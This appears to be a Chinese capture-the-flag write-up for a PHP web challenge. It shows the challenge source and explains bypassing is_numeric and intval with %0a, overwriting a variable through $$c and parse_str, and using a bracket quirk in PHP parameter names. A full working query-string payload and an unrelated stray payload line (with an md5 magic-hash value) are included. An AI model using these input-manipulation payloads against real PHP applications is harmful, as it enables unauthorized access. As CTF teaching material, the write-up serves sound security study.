回归基本功
考点
web基本知识,PHP函数绕过,变量覆盖
题解过程
User-Agent猜测

根据提示我们需要更改他的User-Agent属性为正确的内容,一个一个尝试直到User-Agent: GaoJiGongChengShiFoYeGe成功得到下一个地址

代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php show_source(__FILE__); include('E8sP4g7UvT.php'); $a=$_GET['huigui_jibengong.1']; $b=$_GET['huigui_jibengong.2']; $c=$_GET['huigui_jibengong.3'];
$jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b); if($jiben==1) { if(intval($b) == 'jibengong') { if(strpos($b, "0")==0) { echo '基本功不够扎实啊!'; echo '<br>'; echo '还得再练!'; } else { $$c = $a; parse_str($b,$huiguiflag); if($huiguiflag[$jibengong]==md5($c)) { echo $flag; } else{ echo '基本功不够扎实啊!'; echo '<br>'; echo '还得再练!'; } } } else { echo '基本功不够扎实啊!'; echo '<br>'; echo '还得再练!'; } } else { echo '基本功不够扎实啊!'; echo '<br>'; echo '还得再练!'; } ?>
|
可以发现出题人非常丧心病狂,加了非常多障碍,我们一个一个破解
Jiben
可以看到他限制了a的值为数字与数字字符串,然后b的值只能是数字和小写字母。
intval
intval可以利用%0a绕过并且b中需要有一个数字0这里后面会利用到
变量覆盖
到了题目的关键结点
1 2
| $$c = $a; parse_str($b,$huiguiflag);
|

这里我们构造payload时就要注意了,也是题目巧妙的地方,先给出payload在分析
1
| ?huigui[jibengong.1=1&huigui[jibengong.2=%0aq=q%261=e559dcee72d03a13110efe9b6355b30d&huigui[jibengong.3=jibengong
|
b=%0aq=q%261=e559dcee72d03a13110efe9b6355b30d
这里parse_str会解析成
1 2 3 4 5 6 7
| array(2) { [" q"]=> string(1) "q" [1]=> string(32) "e559dcee72d03a13110efe9b6355b30d" }
|
可以看到%0a对于索引的干扰被我们赶到了其他地方,还有就是这里的索引1我们看到源代码中,
1
| if($huiguiflag[$jibengong]==md5($c))
|
$jibengong变量没有指出,所以这里用他提供的$$c=$c进行变量覆盖构造成$jibengong=$a
变量a只能是数字
然后就是md5比较,c的值我们设置的是jibengong,md5(“jibenong”)=e559dcee72d03a13110efe9b6355b30d
所以把b中1对应的value改为这个就行了,最后得到flag

机制利用
这里传参需要注意,因为变量名存在小数点,我们需要利用一个机制
1
| 当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_
|
所以这里传参时需要把参数名改为huigui[jibengong.1不然点号会被改为下划线,无法正确传参
nezha={“incantation”:”I_am_the_spiI_am_the_spirit_of_firerit_of_fire”,”md5”:”QNKCDZO”,”power”:”s878926199a”}&ming=suoom&li=woolihc